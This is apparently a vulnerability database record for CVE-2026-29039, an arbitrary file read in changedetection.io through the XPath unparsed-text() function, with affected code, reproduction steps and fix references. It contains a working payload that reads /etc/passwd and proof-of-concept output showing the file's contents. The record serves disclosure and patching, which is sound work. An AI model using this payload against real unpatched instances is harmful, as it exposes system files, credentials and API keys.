{"id":"CVE-2026-29039","aliases":["GHSA-6fmw-82m7-jq6p","PYSEC-2026-2128"],"url":"https://o3.security/vulnerability/CVE-2026-29039","summary":"changedetection.io: XPath - Arbitrary File Read via unparsed-text()","details":"### Summary\n- The changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification.\n\n- XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process.\n\n\n### Data Flow\n\n```\nUser Input (include_filters field)\n    ↓\nforms.py:ValidateCSSJSONXPATHInput() - Only validates syntax, NOT function safety\n    ↓\nWatch configuration stored in datastore\n    ↓\nScheduled fetch triggers html_tools.py processing\n    ↓\nhtml_tools.py:xpath_filter() at line 213\n    ↓\nelementpath.select(root, xpath_expression, parser=XPath3Parser)\n    ↓\nXPath 3.0 unparsed-text('file:///etc/passwd') executed\n    ↓\nFile contents returned as \"filtered content\"\n    ↓\nStored as snapshot, viewable in UI\n\n```\n\n**Affected Code**\n**File:** changedetectionio/html_tools.py\n**Function:** xpath_filter()\n**Lines:** 187-220\n\n```\ndef xpath_filter(xpath_filter, html_content, append_pretty_line_formatting=False, is_rss=False):\n    # ...\n    from elementpath import XPath3Parser  # XPath 3.0 with dangerous functions\n    # ...\n    r = elementpath.select(root, xpath_filter.strip(), parser=XPath3Parser)  # Line 213\n\n```\n\nValidation (forms.py):\n\n```\nclass ValidateCSSJSONXPATHInput:\n    def __call__(self, form, field):\n        # Only checks if XPath is syntactically valid\n        # Does NOT check for dangerous functions like unparsed-text()\n\n```\n\n### Details\n\n- Navigate to the http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000/ instance\n- Create a new watch with any valid URL (e.g., https://example.com)\n- Edit the watch and set the \"CSS/JSONPath/JQ/XPath Filters\" field to:\n\n```\nxpath:unparsed-text('file:///etc/passwd')\n```\n\n- Save and trigger a recheck\n- View the preview/snapshot - the file contents will be displayed\n\n<img width=\"2800\" height=\"1108\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f39df9c3-52c9-4fa8-ab57-75c7d4955017\" />\n\n### PoC\n\npython script for easy reproduction: https://gist.githubusercontent.com/DhiyaneshGeek/27a6239f34023d43a0b89afb05edc5d2/raw/76d2b1f035164298d57699741eb79a8376f4ed47/poc_xpath_file_read.py\n\n```\npython3 poc_xpath_file_read.py http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000 /etc/passwd\n\n╔═══════════════════════════════════════════════════════════════╗\n║  XPath 3.0 Arbitrary File Read Exploit                        ║\n║  Target: changedetection.io                                   ║\n║  Vulnerability: unparsed-text() in XPath filters              ║\n╚═══════════════════════════════════════════════════════════════╝\n    \n[*] Creating new watch for https://example.com...\n[+] Watch created with UUID: 5215b704-809c-4218-952b-aad9b6ee41e1\n[*] Setting XPath filter to read: /etc/passwd\n[+] XPath filter set successfully\n[*] Triggering recheck...\n[*] Waiting for check to complete...\n[*] Retrieving file contents...\n\n[+] SUCCESS! File contents retrieved:\n============================================================\nroot:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n\n============================================================\n[*] Cleaning up (deleting watch)...\n\n```\n\n\n### Impact\n- Read any file accessible to the application process\n- Exfiltrate sensitive configuration files, credentials, API keys\n- Read application source code\n- Access database files if file-based (SQLite)","published":"2026-03-06T06:54:15.822Z","modified":"2026-08-12T03:51:18.781580599Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"changedetection-io","fixedVersion":"0.54.4"}],"fix":{"url":"https://github.com/dgtlmoon/changedetection.io/commit/417d57e5749441e4be9acc4010369bded805d66f","label":"dgtlmoon/changedetection.io@417d57e"},"references":[{"type":"WEB","url":"https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/29xxx/CVE-2026-29039.json"},{"type":"ADVISORY","url":"https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-6fmw-82m7-jq6p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29039"},{"type":"FIX","url":"https://github.com/dgtlmoon/changedetection.io/commit/417d57e5749441e4be9acc4010369bded805d66f"},{"type":"PACKAGE","url":"https://github.com/dgtlmoon/changedetection.io"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:18.781580599Z"}}